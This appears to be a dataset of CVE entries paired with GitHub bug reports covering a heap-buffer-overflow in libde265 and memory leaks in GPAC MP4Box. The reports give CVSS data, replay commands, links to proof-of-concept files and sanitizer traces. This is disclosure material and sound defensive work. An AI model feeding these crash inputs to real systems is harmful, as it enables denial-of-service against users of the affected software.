"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/348"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/348
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x145b6b) in put_unweighted_pred_16_fallback(unsigned short*, long, short const*, long, int, int, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc14
```
### ASAN
```Shell
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
=================================================================
==52042==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62b000006640 at pc 0x7fcb9155bb6c bp 0x7fffc9714080 sp 0x7fffc9714070
WRITE of size 2 at 0x62b000006640 thread T0
#0 0x7fcb9155bb6b in put_unweighted_pred_16_fallback(unsigned short*, long, short const*, long, int, int, int) (/libde265/build/libde265/liblibde265.so+0x145b6b)
#1 0x7fcb9158cce4 in acceleration_functions::put_unweighted_pred(void*, long, short const*, long, int, int, int) const (/libde265/build/libde265/liblibde265.so+0x176ce4)
#2 0x7fcb91581740 in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x16b740)
#3 0x7fcb9158c90f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#4 0x7fcb915c77e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#5 0x7fcb915c9264 in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b3264)
#6 0x7fcb915ca250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#7 0x7fcb915ca091 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4091)
#8 0x7fcb915c1726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#9 0x7fcb915ca9ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#10 0x7fcb915cc70f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#11 0x7fcb9152b6d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#12 0x7fcb9152bec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#13 0x7fcb9152ac0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#14 0x7fcb9152a93d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#15 0x7fcb9152d43e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#16 0x7fcb9152dab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#17 0x7fcb91514e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#18 0x55d2d5b14bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#19 0x7fcb91046c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#20 0x55d2d5b129b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x62b000006640 is located 48 bytes to the right of 25616-byte region [0x62b000000200,0x62b000006610)
allocated by thread T0 here:
#0 0x7fcb91a3d790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7fcb915661cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7fcb9156692a in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15092a)
#3 0x7fcb91568d1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7fcb9154d0cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7fcb915343ff in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11e3ff)
#6 0x7fcb9152a246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#7 0x7fcb9152d43e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#8 0x7fcb9152dab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#9 0x7fcb91514e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#10 0x55d2d5b14bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#11 0x7fcb91046c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x145b6b) in put_unweighted_pred_16_fallback(unsigned short*, long, short const*, long, int, int, int)
Shadow bytes around the buggy address:
0x0c567fff8c70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8c90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fff8cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c567fff8cc0: 00 00 fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa
0x0c567fff8cd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8ce0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8cf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fff8d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==52042==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc14
### Environment
```shell
Ubuntu 18.04.5 LTS
Clang 10.0.1
gcc 7.5.0
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Heap-buffer-overflow in fallback-motion.cc: put_unweighted_pred_16_fallback
|
https://api.github.com/repos/strukturag/libde265/issues/348/comments
| 2 |
2022-10-10T15:23:13Z
|
2023-01-24T16:03:58Z
|
https://github.com/strukturag/libde265/issues/348
| 1,403,349,600 | 348 |
CVE-2022-43254
|
2022-11-02T14:15:15.637
|
GPAC v2.1-DEV-rev368-gfd054169b-master was discovered to contain a memory leak via the component gf_list_new at utils/list.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2284"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2284
|
[
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
### Description
Memory Leak in gf_list_new utils/list.c:601
### Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev368-gfd054169b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
### Replay
```
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j$(nproc)
./bin/gcc/MP4Box -bt poc
```
### POC
https://github.com/FDU-Sec/poc/blob/main/gpac/poc
### ASAN
```
[iso file] Box "emsg" (start 0) has 20 extra bytes
[iso file] Read Box type 0000bl (0x0000626C) at position 709 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "minf" (start 645) has 3344 extra bytes
[iso file] Track with no sample table !
[iso file] Track with no sample description box !
[iso file] Incomplete box mdat - start 4159 size 68
[iso file] Incomplete file while reading for dump - aborting parsing
[iso file] Box "emsg" (start 0) has 20 extra bytes
[iso file] Read Box type 0000bl (0x0000626C) at position 709 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "minf" (start 645) has 3344 extra bytes
[iso file] Track with no sample table !
[iso file] Track with no sample description box !
[iso file] Incomplete box mdat - start 4159 size 68
[iso file] Incomplete file while reading for dump - aborting parsing
Scene loaded - dumping root scene
=================================================================
==62092==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x7f4e18113b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f4e15492e5d in gf_list_new utils/list.c:601
#2 0x7f4e159acd1c in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:775
#3 0x7f4e159af13b in gf_isom_parse_movie_boxes isomedia/isom_intern.c:868
#4 0x7f4e159af13b in gf_isom_open_file isomedia/isom_intern.c:988
#5 0x558bdd469254 in mp4box_main /gpac/applications/mp4box/mp4box.c:6175
#6 0x7f4e134d2c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x7f4e18113b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f4e15492e5d in gf_list_new utils/list.c:601
#2 0x7f4e159acd1c in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:775
#3 0x7f4e159af13b in gf_isom_parse_movie_boxes isomedia/isom_intern.c:868
#4 0x7f4e159af13b in gf_isom_open_file isomedia/isom_intern.c:988
#5 0x558bdd47b106 in dump_isom_scene /gpac/applications/mp4box/filedump.c:166
#6 0x558bdd4654b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#7 0x7f4e134d2c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 96 byte(s) in 1 object(s) allocated from:
#0 0x7f4e18113b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f4e1593720d in emsg_box_new isomedia/box_code_base.c:12515
#2 0x7f4e15982447 in gf_isom_box_new_ex isomedia/box_funcs.c:1718
#3 0x7f4e15982447 in gf_isom_box_parse_ex isomedia/box_funcs.c:247
#4 0x7f4e15983a7c in gf_isom_parse_root_box isomedia/box_funcs.c:38
#5 0x7f4e159a927c in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:378
#6 0x7f4e159af13b in gf_isom_parse_movie_boxes isomedia/isom_intern.c:868
#7 0x7f4e159af13b in gf_isom_open_file isomedia/isom_intern.c:988
#8 0x558bdd47b106 in dump_isom_scene /gpac/applications/mp4box/filedump.c:166
#9 0x558bdd4654b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#10 0x7f4e134d2c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 96 byte(s) in 1 object(s) allocated from:
#0 0x7f4e18113b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f4e1593720d in emsg_box_new isomedia/box_code_base.c:12515
#2 0x7f4e15982447 in gf_isom_box_new_ex isomedia/box_funcs.c:1718
#3 0x7f4e15982447 in gf_isom_box_parse_ex isomedia/box_funcs.c:247
#4 0x7f4e15983a7c in gf_isom_parse_root_box isomedia/box_funcs.c:38
#5 0x7f4e159a927c in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:378
#6 0x7f4e159af13b in gf_isom_parse_movie_boxes isomedia/isom_intern.c:868
#7 0x7f4e159af13b in gf_isom_open_file isomedia/isom_intern.c:988
#8 0x558bdd469254 in mp4box_main /gpac/applications/mp4box/mp4box.c:6175
#9 0x7f4e134d2c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x7f4e18113f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x7f4e1549307e in realloc_chain utils/list.c:621
#2 0x7f4e1549307e in gf_list_add utils/list.c:630
#3 0x7f4e159aa6d0 in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:776
#4 0x7f4e159af13b in gf_isom_parse_movie_boxes isomedia/isom_intern.c:868
#5 0x7f4e159af13b in gf_isom_open_file isomedia/isom_intern.c:988
#6 0x558bdd47b106 in dump_isom_scene /gpac/applications/mp4box/filedump.c:166
#7 0x558bdd4654b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#8 0x7f4e134d2c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x7f4e18113f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x7f4e1549307e in realloc_chain utils/list.c:621
#2 0x7f4e1549307e in gf_list_add utils/list.c:630
#3 0x7f4e159aa6d0 in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:776
#4 0x7f4e159af13b in gf_isom_parse_movie_boxes isomedia/isom_intern.c:868
#5 0x7f4e159af13b in gf_isom_open_file isomedia/isom_intern.c:988
#6 0x558bdd469254 in mp4box_main /gpac/applications/mp4box/mp4box.c:6175
#7 0x7f4e134d2c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 384 byte(s) leaked in 6 allocation(s).
```
### Environment
```
Ubuntu 18.04.5 LTS
Clang 10.0.1
gcc 7.5.0
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn/))
|
Memory Leak in gf_list_new utils/list.c:601
|
https://api.github.com/repos/gpac/gpac/issues/2284/comments
| 0 |
2022-10-11T07:44:42Z
|
2022-10-11T11:02:16Z
|
https://github.com/gpac/gpac/issues/2284
| 1,404,158,827 | 2,284 |
CVE-2022-43255
|
2022-11-02T14:15:15.917
|
GPAC v2.1-DEV-rev368-gfd054169b-master was discovered to contain a memory leak via the component gf_odf_new_iod at odf/odf_code.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2285"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2023/dsa-5411"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2285
|
[
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
### Description
Memory Leak in gf_odf_new_iod odf/odf_code.c:415
### Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev368-gfd054169b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
### Replay
```
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j$(nproc)
./bin/gcc/MP4Box -xmt poc1.xmt
```
### POC
https://github.com/FDU-Sec/poc/blob/main/gpac/poc1.xmt
### ASAN
```
XMT: MPEG-4 (XMT) Scene Parsing
[XMT Parsing] Invalid XML document: Invalid character '<' - Line 13: </decSpeci (line 13)
Error loading scene: Corrupted Data in file/stream
Error: Corrupted Data in file/stream
=================================================================
==40452==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407ab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fab51a63192 in gf_odf_new_iod odf/odf_code.c:415
#2 0x7fab51a6c843 in gf_odf_desc_new odf/odf_codec.c:244
#3 0x7fab51d0244f in xmt_parse_descriptor scene_manager/loader_xmt.c:1942
#4 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#5 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#6 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#7 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#8 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#9 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#10 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
#11 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#12 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#13 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#14 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#15 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 112 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407ab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fab51a614d2 in gf_odf_new_esd odf/odf_code.c:126
#2 0x7fab51a6c843 in gf_odf_desc_new odf/odf_codec.c:244
#3 0x7fab51d0244f in xmt_parse_descriptor scene_manager/loader_xmt.c:1942
#4 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#5 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#6 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#7 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#8 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#9 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#10 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
#11 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#12 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#13 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#14 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#15 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407af30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x7fab513fa07e in realloc_chain utils/list.c:621
#2 0x7fab513fa07e in gf_list_add utils/list.c:630
#3 0x7fab51d028ce in xmt_parse_descriptor scene_manager/loader_xmt.c:1987
#4 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#5 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#6 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#7 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#8 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#9 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#10 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
#11 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#12 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#13 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#14 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#15 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407ab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fab51a68722 in gf_odf_new_dcd odf/odf_code.c:1107
#2 0x7fab51a6c843 in gf_odf_desc_new odf/odf_codec.c:244
#3 0x7fab51d0244f in xmt_parse_descriptor scene_manager/loader_xmt.c:1942
#4 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#5 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#6 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#7 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#8 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#9 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#10 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
#11 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#12 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#13 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#14 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#15 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407ab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fab513f9e5d in gf_list_new utils/list.c:601
#2 0x7fab51a6151c in gf_odf_new_esd odf/odf_code.c:130
#3 0x7fab51a6c843 in gf_odf_desc_new odf/odf_codec.c:244
#4 0x7fab51d0244f in xmt_parse_descriptor scene_manager/loader_xmt.c:1942
#5 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#6 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#7 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#8 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#9 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#10 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#11 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
#12 0x7fab5143d5c4 in gf_xml_sax_parse_file utils/xml_parser.c:1299
#13 0x7fab51cf010a in load_xmt_run scene_manager/loader_xmt.c:3134
#14 0x564329084177 in dump_isom_scene /gpac/applications/mp4box/filedump.c:207
#15 0x56432906e4b4 in mp4box_main /gpac/applications/mp4box/mp4box.c:6336
#16 0x7fab4f439c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x7fab5407ab40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fab513f9e5d in gf_list_new utils/list.c:601
#2 0x7fab51a6153b in gf_odf_new_esd odf/odf_code.c:131
#3 0x7fab51a6c843 in gf_odf_desc_new odf/odf_codec.c:244
#4 0x7fab51d0244f in xmt_parse_descriptor scene_manager/loader_xmt.c:1942
#5 0x7fab51d0553d in xmt_node_start scene_manager/loader_xmt.c:2571
#6 0x7fab51436f35 in xml_sax_node_start utils/xml_parser.c:304
#7 0x7fab5143a20f in xml_sax_parse_attribute utils/xml_parser.c:393
#8 0x7fab5143a20f in xml_sax_parse utils/xml_parser.c:911
#9 0x7fab5143bdfd in gf_xml_sax_parse_intern utils/xml_parser.c:1072
#10 0x7fab5143c6b7 in gf_xml_sax_parse utils/xml_parser.c:1100
#11 0x7fab5143c9c8 in xml_sax_read_file utils/xml_parser.c:1187
